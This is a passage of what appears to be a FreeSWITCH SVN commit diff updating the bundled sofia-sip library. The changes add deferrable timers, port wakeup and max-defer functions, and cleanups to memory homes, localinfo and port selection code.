 SOFIAPUBFUN size_t tl_len(tagi_t const lst[]);
+SOFIAPUBFUN size_t tl_vllen(tag_type_t tag, tag_value_t value, va_list ap);
 SOFIAPUBFUN size_t tl_xtra(tagi_t const lst[], size_t offset);
 SOFIAPUBFUN tagi_t *tl_next(tagi_t const *lst);
 SOFIAPUBFUN tagi_t *tl_move(tagi_t *dst, tagi_t const src[]);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_tag_class.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_tag_class.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_tag_class.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -97,6 +97,13 @@
 
 SOFIAPUBVAR tag_class_t ref_tag_class[];
 
+SOFIAPUBFUN tagi_t *t_filter(tagi_t *, tagi_t const [],
+			     tagi_t const *, void **);
+SOFIAPUBFUN tagi_t *t_null_filter(tagi_t *dst, tagi_t const filter[],
+				  tagi_t const *src, void **bb);
+SOFIAPUBFUN tagi_t *t_end_filter(tagi_t *, tagi_t const [],
+				 tagi_t const *, void **);
+
 SOFIAPUBFUN int t_ptr_snprintf(tagi_t const *t, char b[], size_t size);
 SOFIAPUBFUN int t_ptr_ref_set(tag_type_t tt, void *ref, tagi_t const value[]);
 SOFIAPUBFUN int t_ptr_scan(tag_type_t, su_home_t *, char const *,
@@ -117,6 +124,9 @@
 SOFIAPUBFUN int t_uint_scan(tag_type_t, su_home_t *, char const *,
 			    tag_value_t *return_value);
 
+SOFIAPUBFUN int t_socket_snprintf(tagi_t const *t, char b[], size_t size);
+SOFIAPUBFUN int t_socket_ref_set(tag_type_t tt, void *ref, tagi_t const value[]);
+
 SOFIAPUBFUN tagi_t *t_str_dup(tagi_t *dst, tagi_t const *src, void **b);
 SOFIAPUBFUN size_t t_str_xtra(tagi_t const *t, size_t offset);
 SOFIAPUBFUN int t_str_snprintf(tagi_t const *t, char b[], size_t size);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_wait.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_wait.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_wait.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -484,10 +484,18 @@
 SOFIAPUBFUN int su_root_obtain(su_root_t *root);
 SOFIAPUBFUN int su_root_has_thread(su_root_t *root);
 
+SOFIAPUBFUN int su_root_set_max_defer(su_root_t *, su_duration_t max_defer);
+SOFIAPUBFUN su_duration_t su_root_get_max_defer(su_root_t const *self);
+
+SOFIAPUBFUN su_root_t *su_root_clone(su_root_t *root, su_root_magic_t *magic)
+  __attribute__((__malloc__));
+
 /* Timers */
 SOFIAPUBFUN su_timer_t *su_timer_create(su_task_r const, su_duration_t msec)
      __attribute__((__malloc__));
 SOFIAPUBFUN void su_timer_destroy(su_timer_t *);
+SOFIAPUBFUN int su_timer_is_set(su_timer_t const *t); /* 1.12.11 */
+SOFIAPUBFUN su_time_t su_timer_latest(su_timer_t const *t);
 SOFIAPUBFUN int su_timer_set(su_timer_t *, su_timer_f, su_timer_arg_t *);
 SOFIAPUBFUN int su_timer_set_interval(su_timer_t *t, su_timer_f,
 				      su_timer_arg_t *, su_duration_t);
@@ -503,10 +511,10 @@
 SOFIAPUBFUN int su_timer_expire(su_timer_queue_t * const,
 				su_duration_t *tout,
 				su_time_t now);
+SOFIAPUBFUN int su_timer_deferrable(su_timer_t *t, int value); /* 1.12.11 */
 
 /* Tasks */
 
-/** NULL task. */
 SOFIAPUBVAR su_task_r const su_task_null;
 
 SOFIAPUBFUN _su_task_r su_task_init(su_task_r task);
@@ -519,7 +527,10 @@
 
 SOFIAPUBFUN su_root_t *su_task_root(su_task_r const self);
 SOFIAPUBFUN su_timer_queue_t *su_task_timers(su_task_r const self);
+SOFIAPUBFUN su_timer_queue_t *su_task_deferrable(su_task_r const task);
 
+SOFIAPUBFUN int su_task_wakeup(su_task_r const task);
+
 SOFIAPUBFUN int su_task_execute(su_task_r const task,
 				int (*function)(void *), void *arg,
 				int *return_value);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_alloc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_alloc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_alloc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -733,7 +733,7 @@
 
   if (parent) {
     su_block_t *sub = MEMLOCK(parent);
-    home = sub_alloc(parent, sub, size, 2);
+    home = sub_alloc(parent, sub, size, (enum sub_zero)2);
     UNLOCK(parent);
   }
   else {
@@ -746,10 +746,23 @@
 /** Return true if home is a clone. */
 int su_home_has_parent(su_home_t const *home)
 {
-  return home && !home->suh_lock &&
-    home->suh_blocks && home->suh_blocks->sub_parent;
+  return su_home_parent(home) != NULL;
 }
 
+/** Return home's parent home. */
+su_home_t *su_home_parent(su_home_t const *home)
+{
+  su_home_t *parent = NULL;
+
+  if (home && home->suh_blocks) {
+    su_block_t *sub = MEMLOCK(home);
+    parent = sub->sub_parent;
+    UNLOCK(home);
+  }
+
+  return parent;
+}
+
 /** Allocate a memory block.
  *
  * Allocates a memory block of a given @a size.
@@ -768,7 +781,7 @@
   void *data;
 
   if (home) {
-    data = sub_alloc(home, MEMLOCK(home), size, 0);
+    data = sub_alloc(home, MEMLOCK(home), size, (enum sub_zero)0);
     UNLOCK(home);
   }
   else
@@ -842,6 +855,8 @@
  *
  * @param home   pointer to a memory home
  * @param data   pointer to a memory area possibly allocated though home
+ *
+ * @NEW_1_12_9
  */
 int su_home_check_alloc(su_home_t const *home, void const *data)
 {
@@ -978,7 +993,10 @@
   if (home->suh_blocks) {
     size_t i;
     su_block_t *b;
+    void *suh_lock = home->suh_lock;
 
+    home->suh_lock = NULL;
+
      if (home->suh_blocks->sub_destructor) {
       void (*destructor)(void *) = home->suh_blocks->sub_destructor;
       home->suh_blocks->sub_destructor = NULL;
@@ -1019,14 +1037,10 @@
 
     home->suh_blocks = NULL;
 
-    if (home->suh_lock) {
-		void *suh_lock = home->suh_lock;
-
-		home->suh_lock = NULL;
-
-		/* Unlock, or risk assert() or leak handles on Windows */
-		_su_home_unlocker(suh_lock);
-		_su_home_destroy_mutexes(suh_lock);
+    if (suh_lock) {
+      /* Unlock, or risk assert() or leak handles on Windows */
+      _su_home_unlocker(suh_lock);
+      _su_home_destroy_mutexes(suh_lock);
     }
   }
 }
@@ -1132,6 +1146,12 @@
 	for (i = 0; i < n; i++)
 	  if (s->sub_nodes[i].sua_data) {
 	    su_block_add(d, s->sub_nodes[i].sua_data)[0] = s->sub_nodes[i];
+	    if (s->sub_nodes[i].sua_home) {
+	      su_home_t *subhome = s->sub_nodes[i].sua_data;
+	      su_block_t *subsub = MEMLOCK(subhome);
+	      subsub->sub_parent = dst;
+	      UNLOCK(subhome);
+	    }
 	  }
 
 	s->sub_used = 0;
@@ -1150,8 +1170,21 @@
     s = MEMLOCK(src);
 
     if (s && s->sub_used) {
+      n = s->sub_n;
+
+      for (i = 0; i < n; i++) {
+	if (s->sub_nodes[i].sua_data && s->sub_nodes[i].sua_home) {
+	  su_home_t *subhome = s->sub_nodes[i].sua_data;
+	  su_block_t *subsub = MEMLOCK(subhome);
+	  subsub->sub_parent = dst;
+	  UNLOCK(subhome);
+	}
+      }
+
       s->sub_used = 0;
       memset(s->sub_nodes, 0, s->sub_n * sizeof (s->sub_nodes[0]));
+
+      s->sub_used = 0;
     }
 
     UNLOCK(src);
@@ -1271,7 +1304,7 @@
 
   sub = MEMLOCK(home);
   if (!data) {
-    data = sub_alloc(home, sub, size, 0);
+    data = sub_alloc(home, sub, size, (enum sub_zero)0);
     UNLOCK(home);
     return data;
   }
@@ -1435,7 +1468,7 @@
   assert (size >= 0);
 
   if (home) {
-    data = sub_alloc(home, MEMLOCK(home), size, 1);
+    data = sub_alloc(home, MEMLOCK(home), size, (enum sub_zero)1);
     UNLOCK(home);
   }
   else
@@ -1485,7 +1518,7 @@
     return (void)(errno = ENOMEM), NULL;
 
   if (home) {
-    retval = sub_alloc(home, MEMLOCK(home), size, 1);
+    retval = sub_alloc(home, MEMLOCK(home), size, (enum sub_zero)1);
     UNLOCK(home);
   }
   else

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_base_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_base_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_base_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -73,6 +73,8 @@
   if (self) {
     self->sup_vtable = vtable;
     self->sup_tail = &self->sup_head;
+    self->sup_max_defer = 15 * 1000;
+
     return su_port_obtain(self);
   }
 
@@ -149,7 +151,6 @@
 
 /** @internal Send a message to the port.
  *
- * @retval 1 if port thread needs to be woken
  * @retval 0 if there are other messages in queue, too
  * @retval -1 upon an error
  */
@@ -167,7 +168,10 @@
 
     su_port_unlock(self, "su_port_send");
 
-    return wakeup;
+    if (wakeup > 0)
+      su_port_wakeup(self);
+
+    return 0;
   }
   else {
     su_msg_destroy(rmsg);
@@ -317,12 +321,12 @@
  */
 void su_base_port_run(su_port_t *self)
 {
-  su_duration_t tout = 0;
+  su_duration_t tout = 0, tout2 = 0;
 
   assert(su_port_own_thread(self));
 
   for (self->sup_running = 1; self->sup_running;) {
-    tout = 2000;
+    tout = self->sup_max_defer;
 
     if (self->sup_prepoll)
       self->sup_prepoll(self->sup_pp_magic, self->sup_pp_root);
@@ -330,8 +334,11 @@
     if (self->sup_head)
       self->sup_vtable->su_port_getmsgs(self);
 
-    if (self->sup_timers)
-      su_timer_expire(&self->sup_timers, &tout, su_now());
+    if (self->sup_timers || self->sup_deferrable) {
+      su_time_t now = su_now();
+      su_timer_expire(&self->sup_timers, &tout, now);
+      su_timer_expire(&self->sup_deferrable, &tout2, now);
+    }
 
     if (!self->sup_running)
       break;
@@ -349,13 +356,13 @@
 {
   int i;
   int timers = 0, messages = 0, events = 0;
-  su_duration_t tout = 0, tout0;
+  su_duration_t tout = 0, tout2 = 0;
   su_time_t started = su_now(), woken = started, bedtime = woken;
 
   assert(su_port_own_thread(self));
 
   for (self->sup_running = 1; self->sup_running;) {
-    tout = 2000;
+    tout = self->sup_max_defer;
 
     timers = 0, messages = 0;
 
@@ -365,8 +372,12 @@
     if (self->sup_head)
       messages = self->sup_vtable->su_port_getmsgs(self);
 
-    if (self->sup_timers)
-      timers = su_timer_expire(&self->sup_timers, &tout, su_now());
+    if (self->sup_timers || self->sup_deferrable) {
+      su_time_t now = su_now();
+      timers =
+	su_timer_expire(&self->sup_timers, &tout, now) +
+	su_timer_expire(&self->sup_deferrable, &tout2, now);
+    }
 
     if (!self->sup_running)
       break;
@@ -404,6 +415,16 @@
   self->sup_running = 0;
 }
 
+/** @internal
+ * Check if port is running.
+ *
+ * @param self     pointer to port
+ */
+int su_base_port_is_running(su_port_t const *self)
+{
+  return self->sup_running != 0;
+}
+
 /** @internal Block until wait object is signaled or timeout.
  *
  * This function waits for wait objects and the timers associated with
@@ -435,6 +456,10 @@
   if (self->sup_timers)
     su_timer_expire(&self->sup_timers, &tout, now);
 
+  /* XXX: why isn't the timeout ignored here? */
+  if (self->sup_deferrable)
+    su_timer_expire(&self->sup_deferrable, &tout, now);
+
   /* if there are messages do a quick wait */
   if (self->sup_head)
     tout = 0;
@@ -444,16 +469,28 @@
   else
     tout = SU_WAIT_FOREVER;
 
-  if (self->sup_head)
+  if (self->sup_head) {
     if (self->sup_vtable->su_port_getmsgs(self)) {
       /* Check for wait events that may have been generated by messages */
       if (self->sup_vtable->su_port_wait_events(self, 0))
 	tout = 0;
     }
+  }
 
-  if (self->sup_timers)
-    su_timer_expire(&self->sup_timers, &tout, su_now());
+  if (self->sup_timers || self->sup_deferrable) {
+    su_duration_t tout2 = SU_WAIT_FOREVER;
 
+    now = su_now();
+    su_timer_expire(&self->sup_timers, &tout, now);
+    su_timer_expire(&self->sup_deferrable, &tout2, now);
+
+    if (tout == SU_WAIT_FOREVER && tout2 != SU_WAIT_FOREVER) {
+      if (tout2 < self->sup_max_defer)
+	tout2 = self->sup_max_defer;
+      tout = tout2;
+    }
+  }
+
   if (self->sup_head)
     tout = 0;
 
@@ -501,6 +538,22 @@
   return &self->sup_timers;
 }
 
+su_timer_queue_t *su_base_port_deferrable(su_port_t *self)
+{
+  return &self->sup_deferrable;
+}
+
+int su_base_port_max_defer(su_port_t *self,
+			   su_duration_t *return_duration,
+			   su_duration_t *set_duration)
+{
+  if (set_duration && *set_duration > 0)
+    self->sup_max_defer = *set_duration;
+  if (return_duration)
+    *return_duration = self->sup_max_defer;
+  return 0;
+}
+
 /* ======================================================================
  * Clones
  */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_devpoll_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_devpoll_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_devpoll_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -127,7 +127,7 @@
       su_base_port_incref,
       su_devpoll_port_decref,
       su_base_port_gsource,
-      su_socket_port_send,
+      su_base_port_send,
       su_devpoll_port_register,
       su_devpoll_port_unregister,
       su_devpoll_port_deregister,
@@ -148,6 +148,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 static char const *su_devpoll_port_name(su_port_t const *self)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_epoll_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_epoll_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_epoll_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -122,7 +122,7 @@
       su_base_port_incref,
       su_epoll_port_decref,
       su_base_port_gsource,
-      su_socket_port_send,
+      su_base_port_send,
       su_epoll_port_register,
       su_epoll_port_unregister,
       su_epoll_port_deregister,
@@ -143,6 +143,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 static char const *su_epoll_port_name(su_port_t const *self)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_kqueue_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_kqueue_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_kqueue_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -119,7 +119,7 @@
       su_base_port_incref,
       su_kqueue_port_decref,
       su_base_port_gsource,
-      su_socket_port_send,
+      su_base_port_send,
       su_kqueue_port_register,
       su_kqueue_port_unregister,
       su_kqueue_port_deregister,
@@ -140,6 +140,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 static char const *su_kqueue_port_name(su_port_t const *self)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_localinfo.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_localinfo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_localinfo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,6 +41,7 @@
 
 #include <sofia-sip/su.h>
 #include <sofia-sip/su_localinfo.h>
+#include <sofia-sip/su_string.h>
 #include "su_module_debug.h"
 
 #include <stdio.h>
@@ -66,8 +67,12 @@
 #include <net/if_types.h>
 #endif
 
-#if HAVE_GETIFADDRS
+#if SU_LOCALINFO_TEST
 
+#undef USE_LOCALINFO0
+
+#elif HAVE_GETIFADDRS
+
 #define USE_LOCALINFO0 1
 #define localinfo0 bsd_localinfo
 static int bsd_localinfo(su_localinfo_t const *, su_localinfo_t **);
@@ -80,6 +85,7 @@
 static int win_localinfo(su_localinfo_t const *, su_localinfo_t **);
 
 #else
+/* No localinfo0(), use localinfo4() and localinfo6() */
 
 #undef USE_LOCALINFO0
 static int localinfo4(su_localinfo_t const *, su_localinfo_t **);
@@ -89,9 +95,15 @@
 
 #endif
 
+static int li_scope4(uint32_t ip4);
+#if SU_HAVE_IN6
+static int li_scope6(struct in6_addr const *ip6);
+#endif
+
+#if !SU_LOCALINFO_TEST
+
 static int li_name(su_localinfo_t const*, int, su_sockaddr_t const*, char **);
 static void li_sort(su_localinfo_t *i, su_localinfo_t **rresult);
-static int li_scope4(uint32_t ip4);
 
 /** @brief Request local address information.
  *
@@ -195,8 +207,13 @@
     *hh = *hints;
     if (hh->li_canonname)
       hh->li_flags |= LI_CANONNAME;
+#if 0
+    /* hints->li_ifname is used to select by interface,
+       li_ifname is returned with LI_IFNAME flag
+    */
     if ((hh->li_flags & LI_IFNAME) && hh->li_ifname == NULL)
       return ELI_BADHINTS;
+#endif
   }
 
   switch (hh->li_family) {
@@ -254,6 +271,8 @@
   return error;
 }
 
+#endif
+
 /** Free local address information.
  *
  * Free a list of su_localinfo_t structures obtained with su_getlocalinfo()
@@ -414,16 +433,17 @@
 extern int su_get_local_ip_addr(su_sockaddr_t *su);
 #endif
 
-#if USE_LOCALINFO0
+#if SU_LOCALINFO_TEST
 
+#elif USE_LOCALINFO0
+/* no localinfo4 */
 #elif HAVE_IFCONF
 #if __APPLE_CC__
 /** Build a list of local IPv4 addresses and append it to *rresult. */
 static
 int localinfo4(su_localinfo_t const *hints, su_localinfo_t **rresult)
 {
-  su_localinfo_t *tbf = NULL, **lli = &tbf;
-  su_localinfo_t *li = NULL, *li_first = NULL;
+  su_localinfo_t *li = NULL;
   su_sockaddr_t *su;
   int error = ELI_NOADDRESS;
   char *canonname = NULL;
@@ -452,8 +472,8 @@
   }
 
 
-  li = calloc(1, sizeof(su_localinfo_t));
-  sa = calloc(1, sizeof(su_sockaddr_t));
+  li = calloc(1, (sizeof *li) + (sizeof *sa));
+  sa = (void *)(li + 1);
 
   error = getsockname(s, (struct sockaddr *) sa, &salen);
   if (error < 0 && errno == SOCKET_ERROR) {
@@ -510,8 +530,7 @@
 
 err:
   if (canonname) free(canonname);
-  if (li_first) free(li_first);
-  su_freelocalinfo(tbf);
+  if (li) free(li);
   su_close(s);
 
   return error;
@@ -612,7 +631,9 @@
     struct ifreq ifreq[1];
     int scope, if_index, flags = 0, gni_flags = 0;
     char *if_name;
+#if SU_HAVE_IN6
     su_sockaddr_t su2[1];
+#endif
 
 #if SA_LEN
     if (ifr->ifr_addr.sa_len > sizeof(ifr->ifr_addr))
@@ -771,8 +792,7 @@
     li->li_addrlen = su_sockaddr_size(su);
     li->li_addr = su;
     li->li_canonname = canonname;
-    if (hints->li_flags & LI_IFNAME)
-      li->li_ifname = if_name;
+    li->li_ifname = if_name;
 
     canonname = NULL;
     li_first = NULL;
@@ -916,8 +936,8 @@
 
 #endif
 
-#if USE_LOCALINFO0 || !SU_HAVE_IN6
-
+#if USE_LOCALINFO0 || !SU_HAVE_IN6 || SU_LOCALINFO_TEST
+/* No localinfo6() */
 #elif HAVE_PROC_NET_IF_INET6
 /** Build a list of local IPv6 addresses and append it to *return_result. */
 static
@@ -1127,9 +1147,10 @@
 }
 #endif
 
+#if !USE_LOCALINFO0
+/* no localinfo0() or bsd_localinfo() */
+#elif HAVE_GETIFADDRS
 
-#if HAVE_GETIFADDRS
-
 #include <ifaddrs.h>
 
 static
@@ -1454,6 +1475,7 @@
 }
 
 #elif HAVE_SIO_ADDRESS_LIST_QUERY
+
 static
 int localinfo0(su_localinfo_t const *hints, su_localinfo_t **rresult)
 {
@@ -1571,6 +1593,8 @@
 }
 #endif
 
+#if !SU_LOCALINFO_TEST
+
 static
 int li_name(su_localinfo_t const *hints,
 	    int gni_flags,
@@ -1600,7 +1624,7 @@
 	return ELI_RESOLVER;
     }
 
-    if (hints->li_canonname && strcasecmp(name, hints->li_canonname))
+    if (hints->li_canonname && !su_casematch(name, hints->li_canonname))
       return 1;
 
     if (!(flags & LI_CANONNAME))
@@ -1638,6 +1662,8 @@
   }
 }
 
+#endif
+
 /**Get local IP address.
  *
  * @deprecated

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_open_c_localinfo.cpp (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_open_c_localinfo.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_open_c_localinfo.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -128,6 +128,7 @@
   }
 
   sock.Close();
+  return (void *) aConnection;
 }
 
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_osx_runloop.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_osx_runloop.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_osx_runloop.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -204,6 +204,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 /* XXX - mela static void su_osx_port_destroy(su_port_t *self); */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_poll_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_poll_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_poll_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -120,7 +120,7 @@
       su_base_port_incref,
       su_poll_port_decref,
       su_base_port_gsource,
-      su_socket_port_send,
+      su_base_port_send,
       su_poll_port_register,
       su_poll_port_unregister,
       su_poll_port_deregister,
@@ -141,6 +141,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 static char const *su_poll_port_name(su_port_t const *self)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,8 +44,8 @@
 #define su_port_s su_virtual_port_s
 
 #include "su_port.h"
+#include <sofia-sip/su_string.h>
 
-#include <string.h>
 #include <stdlib.h>
 
 /** Create the default su_port_t implementation. */
@@ -115,36 +115,36 @@
   if (name == NULL)
       ;
 #if HAVE_EPOLL
-  else if (strcmp(name, "epoll") == 0) {
+  else if (su_casematch(name, "epoll")) {
     create = su_epoll_port_create;
     start = su_epoll_clone_start;
   }
 #endif
 #if HAVE_KQUEUE
-  else if (strcmp(name, "kqueue") == 0) {
+  else if (su_casematch(name, "kqueue")) {
     create = su_kqueue_port_create;
     start = su_kqueue_clone_start;
   }
 #endif
 #if HAVE_SYS_DEVPOLL_H
-  else if (strcmp(name, "devpoll") == 0) {
+  else if (su_casematch(name, "devpoll")) {
     create = su_devpoll_port_create;
     start = su_devpoll_clone_start;
   }
 #endif
 #if HAVE_POLL_PORT
-  else if (strcmp(name, "poll") == 0) {
+  else if (su_casematch(name, "poll")) {
     create = su_poll_port_create;
     start = su_poll_clone_start;
   }
 #endif
 #if HAVE_WIN32
-  else if (strcasecmp(name, "wsaevent") == 0) {
+  else if (su_casematch(name, "wsaevent")) {
     create = su_wsaevent_port_create;
     start = su_wsaevent_clone_start;
   }
 #elif HAVE_SELECT
-  else if (strcmp(name, "select") == 0) {
+  else if (su_casematch(name, "select")) {
     create = su_select_port_create;
     start = su_select_clone_start;
   }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_port.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_port.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_port.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -150,6 +150,14 @@
   int (*su_port_execute)(su_task_r const task,
 			 int (*function)(void *), void *arg,
 			 int *return_value);
+
+  /* >= 1.12.11 */
+  su_timer_queue_t *(*su_port_deferrable)(su_port_t *port);
+  int (*su_port_max_defer)(su_port_t *port,
+			   su_duration_t *return_duration,
+			   su_duration_t *set_duration);
+  int (*su_port_wakeup)(su_port_t *port);
+  int (*su_port_is_running)(su_port_t const *port);
 } su_port_vtable_t;
 
 SOFIAPUBFUN su_port_t *su_port_create(void)
@@ -158,7 +166,7 @@
 /* Extension from >= 1.12.5 */
 
 SOFIAPUBFUN void su_msg_delivery_report(su_msg_r msg);
-SOFIAPUBFUN su_duration_t su_timer_next_expires(su_timer_t const * t,
+SOFIAPUBFUN su_duration_t su_timer_next_expires(su_timer_queue_t const *timers,
 						su_time_t now);
 SOFIAPUBFUN su_root_t *su_root_create_with_port(su_root_magic_t *magic,
 						su_port_t *port)
@@ -244,6 +252,12 @@
   return base->sup_vtable->su_port_send(self, rmsg);
 }
 
+su_inline
+int su_port_wakeup(su_port_t *self)
+{
+  su_virtual_port_t *base = (su_virtual_port_t *)self;
+  return base->sup_vtable->su_port_wakeup(self);
+}
 
 su_inline
 int su_port_register(su_port_t *self,
@@ -372,7 +386,7 @@
 }
 
 su_inline
-su_timer_t **su_port_timers(su_port_t *self)
+su_timer_queue_t *su_port_timers(su_port_t *self)
 {
   su_virtual_port_t *base = (su_virtual_port_t *)self;
   return base->sup_vtable->su_port_timers(self);
@@ -399,6 +413,43 @@
   return base->sup_vtable->su_port_getmsgs_from(self, cloneport);
 }
 
+/** Extension from >= 1.12.11 */
+
+su_inline
+su_timer_queue_t *su_port_deferrable(su_port_t *self)
+{
+  su_virtual_port_t *base = (su_virtual_port_t *)self;
+
+  if (base == NULL) {
+    errno = EFAULT;
+    return NULL;
+  }
+
+  return base->sup_vtable->su_port_deferrable(self);
+}
+
+su_inline
+int su_port_max_defer(su_port_t *self,
+		      su_duration_t *return_duration,
+		      su_duration_t *set_duration)
+{
+  su_virtual_port_t *base = (su_virtual_port_t *)self;
+
+  if (base == NULL)
+    return (errno = EFAULT), -1;
+
+  return base->sup_vtable->su_port_max_defer(self,
+					     return_duration,
+					     set_duration);
+}
+
+su_inline
+int su_port_is_running(su_port_t const *self)
+{
+  su_virtual_port_t *base = (su_virtual_port_t *)self;
+  return base && base->sup_vtable->su_port_is_running(self);
+}
+
 SOFIAPUBFUN void su_port_wait(su_clone_r rclone);
 
 SOFIAPUBFUN int su_port_execute(su_task_r const task,
@@ -427,8 +478,10 @@
   su_msg_t        *sup_head, **sup_tail;
 
   /* Timer list */
-  su_timer_queue_t sup_timers;
+  su_timer_queue_t sup_timers, sup_deferrable;
 
+  su_duration_t    sup_max_defer; /**< Maximum time to defer */
+
   unsigned         sup_running;	  /**< In su_root_run() loop? */
 } su_base_port_t;
 
@@ -468,7 +521,7 @@
 
 SOFIAPUBFUN int su_base_port_remove_prepoll(su_port_t *self, su_root_t *root);
 
-SOFIAPUBFUN su_timer_t **su_base_port_timers(su_port_t *self);
+SOFIAPUBFUN su_timer_queue_t *su_base_port_timers(su_port_t *self);
 
 SOFIAPUBFUN int su_base_port_multishot(su_port_t *self, int multishot);
 
@@ -479,6 +532,14 @@
 					  su_root_deinit_f deinit);
 SOFIAPUBFUN void su_base_port_wait(su_clone_r rclone);
 
+SOFIAPUBFUN su_timer_queue_t *su_base_port_deferrable(su_port_t *self);
+
+SOFIAPUBFUN int su_base_port_max_defer(su_port_t *self,
+				       su_duration_t *return_duration,
+				       su_duration_t *set_duration);
+
+SOFIAPUBFUN int su_base_port_is_running(su_port_t const *self);
+
 /* ---------------------------------------------------------------------- */
 
 #if SU_HAVE_PTHREADS
@@ -493,7 +554,7 @@
   pthread_t        sup_tid;
   pthread_mutex_t  sup_obtained[1];
 
-#if 0
+#if 0 				/* Pausing and resuming are not used */
   pthread_mutex_t  sup_runlock[1];
   pthread_cond_t   sup_resume[1];
   short            sup_paused;	/**< True if thread is paused */
@@ -535,7 +596,6 @@
 					int (*function)(void *), void *arg,
 					int *return_value);
 
-
 #if 0
 SOFIAPUBFUN int su_pthread_port_pause(su_port_t *self);
 SOFIAPUBFUN int su_pthread_port_resume(su_port_t *self);
